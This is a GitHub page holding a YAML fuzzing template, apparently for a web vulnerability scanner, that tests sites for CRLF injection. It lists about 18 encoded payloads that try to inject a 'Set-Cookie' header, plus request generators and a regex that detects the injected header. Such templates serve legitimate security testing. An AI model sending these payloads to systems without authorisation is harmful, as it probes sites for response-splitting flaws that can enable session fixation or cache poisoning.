-
Notifications
You must be signed in to change notification settings - Fork 1
/
CRLF.yaml
31 lines (31 loc) · 1013 Bytes
/
CRLF.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
id: CRLF-Injection-Fuzz
type: fuzz
info:
Author: Suraj Bhosale
name: CRLF Injection
risk: High
payloads:
- "/%%0a0aSet-Cookie:crlf=injection"
- "/%0aSet-Cookie:crlf=injection"
- "/%0d%0aSet-Cookie:crlf=injection"
- "/%0dSet-Cookie:crlf=injection"
- "/%23%0aSet-Cookie:crlf=injection"
- "/%23%0d%0aSet-Cookie:crlf=injection"
- "/%23%0dSet-Cookie:crlf=injection"
- "/%25%30%61Set-Cookie:crlf=injection"
- "/%25%30aSet-Cookie:crlf=injection"
- "/%250aSet-Cookie:crlf=injection"
- "/%25250aSet-Cookie:crlf=injection"
- "/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection"
- "/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection"
- "/%2F..%0d%0aSet-Cookie:crlf=injection"
- "/%3f%0d%0aSet-Cookie:crlf=injection"
- "/%3f%0dSet-Cookie:crlf=injection"
- "/%u000aSet-Cookie:crlf=injection"
requests:
- generators:
- Query("[[.original]]{{.payload}}")
- Path("[[.original]]/{{.payload}}","*")
detections:
- >-
RegexSearch("resHeaders", "(?m)^Set-Cookie: crlf=injection")